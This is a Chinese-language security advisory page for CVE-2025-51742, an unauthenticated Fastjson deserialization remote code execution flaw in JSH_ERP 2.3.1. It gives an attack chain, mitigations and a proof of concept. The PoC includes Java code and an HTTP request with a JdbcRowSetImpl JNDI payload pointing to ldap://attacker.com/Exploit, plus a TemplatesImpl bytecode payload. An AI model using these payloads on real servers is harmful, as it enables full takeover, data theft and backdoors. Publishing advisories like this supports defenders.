IPBUF安全漏洞报告
English
CVE-2025-51742 CVSS 9.8 严重

CVE-2025-51742 JSH_ERP 2.3.1 Fastjson反序列化远程代码执行漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-51742
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jishenghua JSH_ERP 2.3.1

相关标签

CVE-2025-51742Fastjson反序列化远程代码执行RCEJSH_ERPJDBC注入JNDI注入无需认证严重漏洞

漏洞概述

CVE-2025-51742是极客科技JSH_ERP企业管理系统2.3.1版本中的一个严重安全漏洞。该漏洞存在于/material/getMaterialEnableSerialNumberList接口端点,由于搜索查询参数被直接传递给Fastjson的parseObject()方法进行反序列化处理,攻击者可以利用这一特性构造恶意载荷,通过Fastjson反序列化漏洞实现远程代码执行(RCE)。JSH_ERP是一款开源的企业资源计划(ERP)管理系统,广泛应用于中小型企业的进销存、财务、生产等业务管理。由于该漏洞无需认证即可利用,且CVSS评分高达9.8分(满分10分),属于极其严重的危急漏洞,攻击者可在无需任何用户交互的情况下完全控制目标服务器,窃取敏感数据、植入后门或进一步横向移动。

技术细节

漏洞根源在于JSH_ERP 2.3.1版本的/material/getMaterialEnableSerialNumberList接口实现中,搜索查询参数未经任何安全过滤直接传入Fastjson的parseObject()方法。Fastjson在反序列化过程中会根据@type字段动态实例化任意Java类并调用其setter方法,攻击者可以利用com.alibaba.fastjson.JSON.parseObject()或JSON.parse()方法反序列化精心构造的恶意JSON数据。漏洞利用主要通过JDBC连接字符串 payloads实现远程代码执行,攻击者构造包含恶意类引用的JSON payload,Fastjson在反序列化时会触发指定类的构造函数或setter方法,进而执行任意系统命令。例如,攻击者可利用com.sun.rowset.JdbcRowSetImpl类的dataSourceName和autoCommit属性配合JNDI注入,或使用TemplatesImpl加载恶意字节码实现代码执行。该漏洞影响所有使用Fastjson低版本且未进行安全配置的JSH_ERP部署环境。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的JSH_ERP 2.3.1版本,确认/material/getMaterialEnableSerialNumberList端点存在
STEP 2
步骤2: 构造恶意Payload
攻击者构造包含@type字段的恶意JSON数据,利用Fastjson反序列化特性,通过JdbcRowSetImpl等类实现JNDI注入或直接命令执行
STEP 3
步骤3: 发送攻击请求
构造HTTP POST请求,将恶意payload作为search查询参数或直接作为请求body发送到目标端点
STEP 4
步骤4: Fastjson反序列化触发
服务器端Fastjson库解析JSON时,根据@type字段加载并实例化指定的恶意类,触发setter方法执行
STEP 5
步骤5: 远程代码执行
通过JNDI注入或字节码执行等方式,在目标服务器上执行任意系统命令,获取服务器完全控制权
STEP 6
步骤6: 持久化控制
攻击者可能植入后门、窃取敏感数据或利用已获取的权限进行横向移动攻击其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class CVE_2025_51742_POC { public static void main(String[] args) { // Enable autotype for exploitation ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // Malicious Fastjson payload for RCE via JDBC String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://attacker.com/Exploit\"," + "\"autoCommit\":true}"; try { // This will trigger the deserialization vulnerability Object obj = JSON.parse(payload); System.out.println("Payload sent to: /material/getMaterialEnableSerialNumberList"); } catch (Exception e) { e.printStackTrace(); } } } // HTTP Request POC: // POST /material/getMaterialEnableSerialNumberList HTTP/1.1 // Host: target.com // Content-Type: application/json // // {"search": "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}"} // // Alternative payload using TemplatesImpl: // {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_encoded_malicious_class"],"_name":"poc","_tfactory":{},"_outputProperties":{}}

影响范围

jishenghua JSH_ERP 2.3.1

防御指南

临时缓解措施
立即临时缓解措施:1)通过网络层访问控制限制该接口的访问权限,仅允许受信任的IP地址访问;2)在WAF上配置规则,拦截包含@type字段的JSON请求;3)临时关闭/material/getMaterialEnableSerialNumberList功能直至完成安全修复;4)监控服务器日志,关注异常的JSON解析错误和可疑的网络连接请求。长期来看,务必升级到官方安全补丁版本并修复Fastjson反序列化漏洞配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表